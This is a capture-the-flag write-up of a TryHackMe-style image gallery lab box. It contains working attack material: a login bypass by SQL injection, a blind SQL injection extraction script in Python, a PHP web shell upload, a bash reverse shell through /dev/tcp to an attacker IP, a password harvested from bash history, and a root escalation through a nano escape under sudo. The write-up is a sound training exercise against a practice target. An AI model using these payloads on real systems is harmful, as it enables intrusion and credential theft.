Try to exploit our image gallery system
Footprinting
Open ports
Scanning open ports via Nmap:
$ sudo nmap -v10 -sS -Pn -p- -v10 -oA syn_full 10.10.208.1
Discovered open port 8080/tcp on 10.10.208.1
Discovered open port 80/tcp on 10.10.208.1
$ sudo nmap -v10 -sC -sV -Pn -p8080,80 -v10 -oA syn_full 10.10.208.1
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 60 Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
8080/tcp open http syn-ack ttl 60 Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Simple Image Gallery System
|_http-favicon: Unknown favicon MD5: EBF01C3CDE17CAD6EBDEB0888D9F0927
2 Apache HTTP servers only are opened on ports 80 and 8080.
HTTP
SQL injection
On port 8080, the login page dicloses the SQL request to sign-in:
>>>
POST /gallery/classes/Login.php?f=login HTTP/1.1
Host: 10.10.208.1
Cookie: PHPSESSID=la0fbcjc3fiur25mvntmr0610q
username=admin&password=password
<<<
{"status":"incorrect","last_qry":"SELECT * from users where username = 'admin' and password = md5('password') "}
Then, we can try to login using a basic SQL injection:
>>>
POST /gallery/classes/Login.php?f=login HTTP/1.1
Host: 10.10.208.1
Cookie: PHPSESSID=la0fbcjc3fiur25mvntmr0610q
username=admin'+OR+'1'='1&password=a
<<<
{"status":"success"}
The challenge asks for the admin's hashed password. We can use the following comparisons in the username
parameter:
username=admin' AND BINARY(SUBSTR(password,1,1))='A'#
username=admin' AND BINARY(SUBSTR(password,1,1))='B'#
...
username=admin' AND BINARY(SUBSTR(password,2,1))='A'#
...
This is a boolean-based SQL injection, where each character of the column password
, for the username admin
, is compared with all hexadecimal characters.
Here's the python script I used:
#!/usr/bin/python3
import requests
import string
if __name__=="__main__":
url = "http://10.10.208.1/gallery/classes/Login.php?f=login"
charset = string.hexdigits
flag = ""
n = 32
for i in range(1, n):
for char in charset:
data = {"username": f"admin' AND BINARY(SUBSTR(password,{i},1))='{char}'#", "password":"password"}
req = requests.post(url=url, data=data, proxies={'http':'http://127.0.0.1:8080'})
#import pdb;pdb.set_trace()
if "success" in req.text:
flag += char
print(f"[+] Flag: {flag}")
break
elif char == charset[-1]:
print("[-] Nothing found. Exiting...")
exit()
The hash is a228b12a08b6527e7978cbe5d914531
.
Avatar webshell
In the user's personal page, it is possible to update an avatar image with a php webshell:
>>>
POST /gallery/classes/Users.php?f=save HTTP/1.1
Host: 10.10.208.1
Content-Type: multipart/form-data; boundary=---------------------------3463458212586082000598538607
Cookie: PHPSESSID=la0fbcjc3fiur25mvntmr0610q
-----------------------------3463458212586082000598538607
Content-Disposition: form-data; name="id"
1
-----------------------------3463458212586082000598538607
Content-Disposition: form-data; name="firstname"
Adminstrator
-----------------------------3463458212586082000598538607
Content-Disposition: form-data; name="lastname"
Admin
-----------------------------3463458212586082000598538607
Content-Disposition: form-data; name="username"
admin
-----------------------------3463458212586082000598538607
Content-Disposition: form-data; name="password"
-----------------------------3463458212586082000598538607
Content-Disposition: form-data; name="img"; filename="j4mshell.php"
Content-Type: application/x-php
PNG
<?php system($_REQUEST["c"])?>
-----------------------------3463458212586082000598538607--
Indeed, the php
extension is not filtered (j4mshell.php
), neither the MIME-Type (application/x-php
). Therefore, we got an RCE :-]
>>>
GET /gallery/uploads/1644666780_j4mshell.php?c=whoami HTTP/1.1
Host: 10.10.208.1
Cookie: PHPSESSID=la0fbcjc3fiur25mvntmr0610q
<<<
www-data
Thus, we can use a reverse shell to get an interactive command line interface:
$ nc -nlvp 48590
listening on [any] 48590 .
>>>
GET /gallery/uploads/1644666780_j4mshell.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/10.17.8.104/48590+0>%261' HTTP/1.1
Host: 10.10.208.1
<<<
..
connect to [10.17.8.104] from (UNKNOWN) [10.10.208.1] 51204
bash: cannot set terminal process group (733): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gallery:/var/www/html/gallery/uploads$
By the way, the Wordpress configurations disclose the credentials of the DB user gallery_user
:
www-data@gallery:/var/www/html/gallery/uploads$ cat /var/www/html/gallery/initialize.php
if(!defined('DB_USERNAME')) define('DB_USERNAME',"gallery_user");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"passw0rd321");
However, the password seems useless.
Local privilege escalation
user.txt
We cannot read the user flag directly:
$ ls -la /home/mike
drwx------ 2 mike mike 4096 May 24 2021 documents
drwx------ 2 mike mike 4096 May 24 2021 images
-rwx------ 1 mike mike 32 May 14 2021 user.txt
As we can see, no user, other than mike
, can read user.txt
. Looking for mike
's files, we see an interesting backup folder:
$ find / -iname "*mike*" -print 2>/dev/null
/var/backups/mike_home_backup
A file contains some accounts:
$ cat /var/backups/mike_home_backup/documents/accounts.txt
Spotify : mike@gmail.com:mycat666
Netflix : mike@gmail.com:123456789pass
TryHackme: mike:darkhacker123
But these passwords doesn't work :/ However, we see a readable .bash_history
!
$ cat /var/backups/mike_home_backup/.bash_history
cd ~
ls
ping 1.1.1.1
cat /home/mike/user.txt
cd /var/www/
ls
cd html
ls -al
cat index.html
sudo -lb3stpassw0rdbr0xx
clear
sudo -l
exit
mike
ran sudo -l
to list the privileged commands he has access to. After that, a prompt asked him to enter his password, which got logged in the history. mike
's password is b3stpassw0rdbr0xx
!
$ su mike
Password: b3stpassw0rdbr0xx
mike@gallery:/var/backups/mike_home_backup$
The user flag is :-]
mike@gallery:/home/mike$ cat user.txt
THM{af[...]ef}
root.txt
Knowing mike
's password, we can check if he has any privileges on specific commands:
$ sudo -l
Matching Defaults entries for mike on gallery:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mike may run the following commands on gallery:
(root) NOPASSWD: /bin/bash /opt/rootkit.sh
He can run rootkit.sh
as root
without knowing his password:
$ cat /opt/rootkit.sh
#!/bin/bash
read -e -p "Would you like to versioncheck, update, list or read the report ? " ans;
# Execute your choice
case $ans in
versioncheck)
/usr/bin/rkhunter --versioncheck ;;
update)
/usr/bin/rkhunter --update;;
list)
/usr/bin/rkhunter --list;;
read)
/bin/nano /root/report.txt;;
*)
exit;;
esac
Among the 4 options, the one executing nano
is interesting as we can escalate our privilege and spawn a shell (GTFOBins). However, in order to execute that read
option, I first had to stabilize my reverse shell:
^Z
stty -a | grep -E "rows|columns"
stty raw -echo; fg; fg
> #PRESS ENTER
> export SHELL=bash && export TERM=xterm && stty rows 29 columns 236
Then, with the read
option, /bin/nano
is opened as root
, from which we can escalate:
^R^X
reset; sh 1>&0 2>&0
# cat /root/root.txt
THM{ba[...]87}
Thanks for reading !